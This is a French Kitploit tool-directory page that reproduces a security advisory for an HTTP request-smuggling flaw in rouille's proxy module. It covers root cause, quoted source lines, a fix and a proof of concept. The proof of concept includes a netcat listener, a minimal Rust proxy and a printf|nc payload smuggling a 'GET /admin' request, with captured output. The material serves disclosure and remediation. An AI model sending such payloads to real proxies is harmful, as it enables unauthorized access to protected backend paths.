Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 23 joursPas encore vérifié

Avis de sécurité : Contrebande de requêtes HTTP via désynchronisation de Transfer-Encoding (rouille)

Identifiant CVE attribué : CVE-2026-67181

Résumé

rouille::proxy::proxy transmet l'en-tête Transfer-Encoding du client au backend sans modification, mais écrit le corps de requête que tiny_http a déjà dé-chunké. Il n'émet jamais de Content-Length qui lui soit propre. Le backend est informé que le corps est en chunked et reçoit des octets qui ne le sont pas, si bien que c'est le client, et non rouille, qui décide où le backend pense que le corps se termine.

Versions affectées

URL du dépôt : https://github.com/tomaka/rouille

Première version affectée0.3.3 (2016-12-03), la version qui a introduit src/proxy.rs
Dernière version affectée3.6.2 (2023-04-24), la version actuelle
Non affectées0.3.2 et antérieures, qui n'ont pas de module proxy
Corrigé dansaucune version corrigée au moment de la rédaction

src/proxy.rs est identique au niveau des octets entre le tag 3.6.2 et le master actuel. Seules les applications appelant proxy::proxy ou proxy::full_proxy sont concernées.

Gravité

CWE-444 (Interprétation incohérente des requêtes HTTP).

Score de base CVSS 4.0 : 6.3 (Moyen) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modèle de menace

Un client distant non authentifié envoyant du HTTP brut à une application rouille agissant comme un proxy inverse. Aucun identifiant ni interaction utilisateur n'est nécessaire.

L'impact dépend du backend. Les backends qui font du pipelining indépendamment de Connection: close, ainsi que tout intermédiaire avec pool de connexions placé entre rouille et l'origine, agiront sur la requête introduite en contrebande. Les backends qui respectent Connection: close se retrouvent quand même avec un corps de requête différent de celui envoyé par le client et de celui observé par rouille.

Cause racine

tiny_http dé-chunke dès qu'un en-tête Transfer-Encoding est présent et ignore Content-Length.

tiny_http-0.12.0/src/request.rs, lignes 149 à 159 :

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, lignes 218 à 221 :

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs transmet ensuite chaque en-tête sauf Connection et copie le corps décodé. Lignes 167 à 174 :

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Le Transfer-Encoding: chunked du client survit à la ligne 171. La ligne 174 écrit le texte en clair produit par Decoder. Aucun Content-Length n'est jamais écrit, si bien que le backend n'a rien d'autre pour délimiter le corps et applique le parsing chunked à un texte en clair choisi par l'attaquant.

Preuve de concept

Étape 1. Démarrez un écouteur brut sur le port 8001 pour jouer le rôle du backend et afficher les octets que rouille envoie.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Étape 2. Démarrez un frontal rouille sur le port 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Étape 3. Envoyez une requête correctement chunkée dont le corps décodé est lui-même un flux chunked qui se termine immédiatement, suivi d'une seconde requête. Le chunk unique fait 0x3d = 61 octets de long.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Résultat. L'écouteur de l'étape 1 montre rouille annonçant un cadrage chunked puis envoyant le texte en clair :

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Un backend respectant Transfer-Encoding: chunked lit la ligne de taille de chunk 0, conclut que le corps est vide, puis analyse les 56 octets restants comme une nouvelle requête.

Impact

La vision qu'a le backend du corps de requête diffère à la fois des octets envoyés par le client et de ceux lus par rouille. Tout élément en amont qui journalise, audite ou reflète le corps enregistre autre chose que ce sur quoi le backend a agi.

Lorsque le backend fait du pipelining malgré Connection: close, ou lorsqu'un intermédiaire avec pool de connexions se trouve entre rouille et l'origine, les octets restants deviennent une seconde requête avec une méthode et un chemin choisis par l'attaquant.

Le Content-Length du client est également transmis alors que tiny_http l'a ignoré, si bien qu'un backend qui privilégie Content-Length sur Transfer-Encoding subit directement une désynchronisation CL.TE.

Remédiation

Ne transmettez pas les en-têtes de cadrage qui décrivent un corps que rouille a déjà décodé. Dans src/proxy.rs, étendez le contournement à la ligne 167 :

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

Ensuite, émettez un cadrage correspondant à ce qui est réellement écrit : mettez le corps en mémoire tampon et envoyez un Content-Length exact, ou re-chunkez-le et envoyez vous-même Transfer-Encoding: chunked, avant le \r\n\r\n final de la ligne 173.

Télécharger l’outil